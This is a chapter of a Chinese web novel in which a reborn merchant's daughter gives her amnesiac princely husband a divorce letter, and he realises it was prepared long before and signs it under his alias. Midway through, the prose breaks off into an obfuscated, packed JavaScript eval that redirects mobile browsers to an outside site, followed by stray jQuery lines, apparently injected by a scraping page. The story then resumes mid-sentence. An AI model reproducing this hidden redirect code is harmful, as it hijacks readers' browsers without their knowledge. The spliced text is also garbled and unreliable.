23. 第23章 和离书

走去曲水院的路上,沈曦云脑海中闪过许多事。


冬日密雪停放爹娘尸身的县衙、风吹沙沙声的柏树林、倦怠西沉的落日、落日下嚎叫的狸猫,这是错误的开始。


春日暖风吹起的喜袍、拜天地的誓言、燃放不愿熄灭的花灯、灯边抵足而眠的日夜,这是错误的过程。


夏日小雨淅沥打落的桃树、闭门不得出的庭院、挣扎透过云烟的夕光、夕光洒落在第四十七块青砖上的影子,这是错误的结局。


她欢欣的、愉悦的、无忧无虑的人生,在十六岁生辰后急转直下,走入一条错误的道路,道路尽头,除了死亡,别无他物。


重生后,无论她面上如何镇静自若、如何寻常处之,但脚下行路时,始终惶恐犹疑,担心日子一天天过去,死亡的钟鼓也在一寸寸迫近。


她不想死,想好好活,不管是为了爹娘,为了沈家未竟的基业,抑或是为了她自己。


无声无息客死他乡,非她所愿。她必须从这条道路上离开,离开一切的根源,离开给予她死亡的人,离开——


谢成烨。


她掌心泛出些汗,为即将做的事、说的话,心脏鼓跳如雷。


沈曦云自初九那日在新婚的鸳鸯锦被中醒来,脑中时刻绷着一根弦,提醒她莫忘和离之事,她预想过很多次,到底是什么时机是最恰当同谢成烨提的。


刚醒来时不过成婚第二日,转变过快引人生疑,若提和离太早,可要真令谢成烨想起一切恢复身份又太迟,她怕他甚至不愿给她辩解的机会,就将她关起。


所以此刻或许才是最好的时机,在谢成烨想起一切的前夕,她表明她的诚意,不会僭越,不敢妄求,她可以悄无声息同夫君林烨和离,祝愿淮王殿下谢成烨同他的心上人孟小姐长长久久、恩爱延年。


夜幕渐深,月光坠落入庭院,宛如银霜铺地。花园植着的桃树,细长枝桠探过墙头,伸进曲水院,露出一点花苞,等待抽出新芽。


长安在院门边上垂手立着,偷偷摸摸按揉酸痛的大腿,今儿他在江州城转了一圈,为了打探主子口中缺人的私塾,饶是习武的身子也疲惫几分,找得口干舌燥,回了沈府喝口茶的功夫又听闻章神医被主子逮来治病,事情一桩接着一桩,叫他怀念起刚来沈府时的清闲日子。


谢成烨提着一盏羊角灯候在院门处,瞥见长安做的小动作,并未计较,反倒是笑着说:“若是倦了就回去歇息,待会儿夫人过来,我们说几句话,也不必你伺候。”


话语里说到“夫人”二字,语调格外扬起,明眼人都能看出放松和惬意。


长安想得更深一步。


他附和一笑,弯腰拱手问:“听主子的意思,王府可是要有位女主子了?”


他知趣,半点不提去岁来沈府时主子那些假死脱身、沈小姐再嫁的言语,全当是散在冬雪里,开春融化,自然消失得无影无踪。


谢成烨颔首。


虽说江州叛党一事尚未尘埃落定,但他已决定带窈窈回京,他怕明日同她表明身份吓着了她,是以预备今夜提前许下承诺,安一安她的心。


长安见主子的反应,嘴角咧起,“这好消息,回头我跟永宁也说一说,等回京的时候务必张灯结彩,好生欢迎。”


谢成烨眉梢流出压不出的喜意,原本要再叮嘱几句,远远看见从栖梧院方向过来的小径上披着梨白氅衣的身影,冲长安摆摆手,让他退下,自个提着灯笼往那姑娘身边迎去。


走出十几步路,走到她身边,心脏跳动,空着的手伸到她跟前欲牵住她,少女端庄清冷地冲他一笑,却避开了他的手掌,捂住袖口,在灯下默然向前。


谢成烨滚烫的情绪冷了冷。


走进院里,合上院门。


门轴发出“嘎吱”声响,铜环碰撞,门缝间的月光变窄,直至完全闭合。


“窈窈寻我何事?”


谢成烨声线低上几分,望见她垂首时头顶小巧的发旋。


“我是来同公子赔罪的。”沈曦云抬头,直直望进谢成烨墨色的眸子。


谢成烨恍惚一瞬。


意识到她唤他公子,不是成婚前跟在后头叫唤的阿烨,亦不是成婚后温婉亲昵的郎君。


他不明所以,她做错了什么,要同他赔罪。


见谢成烨不吭声,沈曦云深吸口气,冲着他屈膝,郑重行下一礼,认真道:“自去岁救下郎君,我日日叨扰,先是在医馆后是在沈府,仗着救命之恩得公子诸多忍耐,最后更是挟恩图报让公子以身相许。但从未想过,婚姻大事,岂能如此儿戏。”


她顿了顿,不敢看谢成烨的脸色,低下头接着说:


“更重要的是,公子因伤失去记忆,不记得身份家室,无所依靠,我此举,实乃乘人之危,心思不正。直到成婚后得爹娘入梦训斥,我日夜思量,终于清醒,从前种种,荒唐糊涂。”


沈曦云此刻的言语字字情真意切,肺腑之言,生怕忏悔的不到位,令谢成烨日后追究起来,怨怪于她。


“我决心弥补过错,为公子找回记忆再结束这段错误的关系。所幸,苍天垂怜,日日苦寻为公子恢复记忆的机会终于在今日得见,只待公子恢复记忆后,明了前尘,我绝不会纠缠,定安安静静与公子和……”


“——窈窈。”


听明白她在说什么的谢成烨打断了她的话。


他上前扶起她,强硬不容拒绝,手掌禁锢住她的臂膀,热气透过衣衫传入肌肤。


谢成烨原本想让她抬头看他,但在如玉的白皙脖颈下晃得眼睛疼,只得认输,自个屈就着弯腰,窥入她低眉顺目的芙蓉面。


“你没有做错,我也不会因此事怪罪你。”


谢成烨反驳她的赔罪,可那姑娘依然低垂着眸子,半点没有动容的样子,像尊玉菩萨。


他气息乱了几分,素来镇定掌控一切的眼底闪过几丝慌乱,他想起原本打算在今晚做下的承诺,找到点说话的口子。


“窈窈,我今晚本就想同你说此事,安你的心。我们二人的情意是真的,这同我到底是谁又有什么干系?”


沈曦云睫翼扑闪,眼珠动了一下。


他连忙道:“不管我是林烨还是什么别的人,有什么别的名字,在我心里,你永远是我的妻。”


话音落下,玉菩萨终于抬起眼施舍望他一眼。


好熟悉的话,上辈子她也听过。


沈曦云微张嘴角,欲问:那你知道你究竟是什么人吗?有什么名字吗?


你姓谢,是大燕的国姓,名成烨,是开国皇帝谢仓亲自为长孙所起。


这个名字背后,是皇室宗族的期待,是钟鸣鼎食的权力,是你的青梅竹马孟小姐在燕京殷切等待的身影。


转念又咽下。


她魔怔了,同失去记忆的谢成烨说这些做什么?只会加深他日后的怀疑,怀疑她是不是早知道他的身份,故意救他,故意让他欠下一份情,故意同他纠缠不休。


最后,同那日元宵回府的马车上那般,她轻声道:“是,我知晓了。”


只是这回儿,她决心已定。


“公子做下这些承诺,是公子宽厚,不代表我能得寸进尺,肆意行事。”她见谢成烨又要开口,抢声道:“请公子容我把话说完。”


谢成烨无奈放开她,与此同时,心脏剧烈跳动,几乎要破胸而出。


平生十九载春秋,上次这般,还是建元二年京郊的围杀下,父亲把他推远的时刻。


一番搏杀下铠甲早已破损不堪,伤口渗出血,沉重而急促的呼吸声在他耳畔回响。


“阿烨,快……快跑。”


猛烈跳动的心脏昭示着一旦离开,他与父亲将死生不复相见,但他无能为力,咬着牙忍泪往远处跑去。


恰如此刻,他指尖微微颤抖。


明明感觉任由窈窈说下去,事情将彻底走入另一番境地,覆水难收、彻底失控,但他无力阻止。


抑或者说,阻止无用,他就算不逃跑而是留在原地,父亲就能活下来么,他能捂住眼前姑娘的口鼻一时,能捂住一世么?


少女从衣袖间抽出一张卷起的文书,递到他跟前。


“这纸和离书,便是我的诚意。”


“明日,若是公子恢复记忆后,愤慨不齿于这桩婚事,即刻便可签好和离书,全当没有这桩荒唐婚事。当然,如果仍嫌不够,需要我补偿些什么,只要是我沈家能拿出的,定当竭尽全力。”


哪怕天家贵胄看不上一个普通商户家的诚意,她的态度须得谦卑恭敬。


说着,她把和离文书铺开。


谢成烨僵硬着手臂,敛眸,机械地看着纸上的字眼。


入目是一手端庄秀丽的簪花小楷。


上回见这手字,是大年三十除夕夜,她拉着他在栖梧院的里屋守岁,熏笼里炭火正旺,把屋里烘得暖洋洋的,那姑娘红着脸,嫌剪窗花无聊,从床边箱箧里翻出红纸,让他磨墨,写起八日后成婚的婚书。


他那时神情不属,想的是永宁自燕京传来的消息,因此对婚书内容早已模糊,只记得她那手字,不似民间普通人家女子所书,笔底春风,墨韵天成。


没成想一去二十日,再见,竟是在和离书上。


他心上悬起的巨石随之砸下。


一语成谶。


但他仍然不解,窈窈是因何故如此担忧他恢复记忆后翻脸不认人,莫非这些时日在他不知晓的地方发生了什么。


“窈窈。”


他迫近沈曦云,向前一步,她后退一步。





;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14473965|152683||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


堂之上能言善辩、互打机锋的嘴失却了遮掩意图的本事,他全然凭心去问。


“你到底是因知晓了何事决心同我分开?”


譬如,他的身份。


沈曦云恭恭敬敬地奉上和离书,答:“并非知晓何事,是这些日子想通了。”


方才思绪混乱,他看不真切,走近些细观了才发现,纸上墨迹已经完全干涸,边缘泛黄。


谢成烨察觉到不对,眼睫落下阴翳,用手指轻触直面,感受到纸张上一丝不易察觉的粗糙感。


这绝不是今日内所书,至少,也有十日光景。


心上泼来一盆冷水,让他躁动不安的心绪冷静半晌。


他凝眸看她端庄规矩的姿态,微微低首,只将视线停留在地面,修长圆润的脖颈弯曲,从耳垂处缓缓向下延伸,直至锁骨,形成一道优美的弧度,在梨白的氅衣映衬下显得更加娇艳如玉。


她在骗他。


不止此刻。


在过去许多日子、许多时刻,她都在骗他。


他恨自己一瞬间想明白许多事,她今日递来这纸和离书原来并不突兀,大概已经在心里想了许久,反复琢磨,才能使话语这般妥帖。


妥帖考虑到提和离的时机,考虑自己的话语与动作。


什么欢喜他恢复记忆,不过是借口,他为了她所谓的殷切期盼找来章典,实际亲手给她送来天赐良机。


窈窈,你早就想和离了,是么?


无奈不解至深处,他哑然失笑,问:“为什么?”


为什么骗他,为什么态度大变,为什么不信他的承诺,为什么断定他会和离?


他盯着她的眼睛,一瞬不错。


澄澈明亮的眸子,漂亮极了,如一弯清泉氤氲其中。


谢成烨记得他重伤昏迷后看见的第一眼就是这双眼眸,里头是欢喜雀跃,眼眸的主人高兴地从床边跳起来,“他醒了!”


后来无数次,他见过眼眸失落、悲伤、眷恋的样子,也见过爱慕、活泼、兴奋的样子,但从未像此刻这样。


坦荡、决绝、无波无澜。


风吹过湖面尚且会泛起一丝涟漪,但这双眼眸中的清泉一动不动,凝固成冰。


他突然觉得无趣。


为自己此前带她入京的打算,为求一个理由的自己。


夜风吹过庭院,呜咽作响。


沈曦云张嘴欲答话,被他抬手制止。


“不必解释了,”他勾唇笑,声音听不出情绪,“我明白沈小姐的意思了。”


谢成烨想起答应她成婚那日,他对长安说的权宜之计、报恩行径,想起他最初费心演戏的无奈迁就,想起他明明早就说过她不合适入燕京。


怪那些支离破碎的梦境和突然兴起的悸动,叫他迷失了心,生出些不该有的想法。


他原先还头疼假死后如何安置她,她却早已想好退路,只待脱身。


自太阴血祸一案后,继承淮王爵位的小世子学会果断冷静,再不犹疑。他来江州只为找叛党,其他的,都是多余。


谢成烨压住所有汹涌的情感,把巨石碾碎,寒冰封住,接过了她手里的和离书。


“好,我收下这份和离书,待明日恢复记忆后,再行定夺。”


沈曦云见他收下,紧绷了弦松懈半分,长吁一口气,哪怕谢成烨此时有些气恼,待明日想起一切,气定全消了,说不得还会肯定她知情识趣、有自知之明。


皇室王爷和商户女扯上干系,简直是胡闹。


上辈子她在燕京听到这话还会愤愤不平,现在已经坦然处之,甚至觉着说的确实有理。


她跟谢成烨,真是半点都不相配。


沈曦云盈盈一福身,温然告辞:“多谢公子,祝公子明儿的治疗顺顺利利,身体康健。”


谢成烨平静注视着她,嗯了声。


“既如此,我就不打扰公子了,春和、景明当还守在院门外等我回去。”


她转身提起灯笼,“吱呀”一声推开院门,往沉沉夜色中走去。


谢成烨坐回正屋,点燃烛火,在灯下复看起那纸和离书。


“缘分已尽,情义难续。”


底下是规规整整的“沈曦云”三字,留着个空隙,等他写上自己的名字。


不,不是他的名字。


是“林烨”这个名字。


烛火摇曳,透过泛黄的纸张,投下斑驳的光影,一室寂静。


他沉默良久,取笔,研墨,落下“林烨”二字。


说来好笑,他平生拢共两回写这名,一次是成婚的婚书,一次是今日的和离书。


待到送去官府盖公章登造册,便是真的情缘义断,陌路不见。


从明日开始,他就要做谢成烨了么?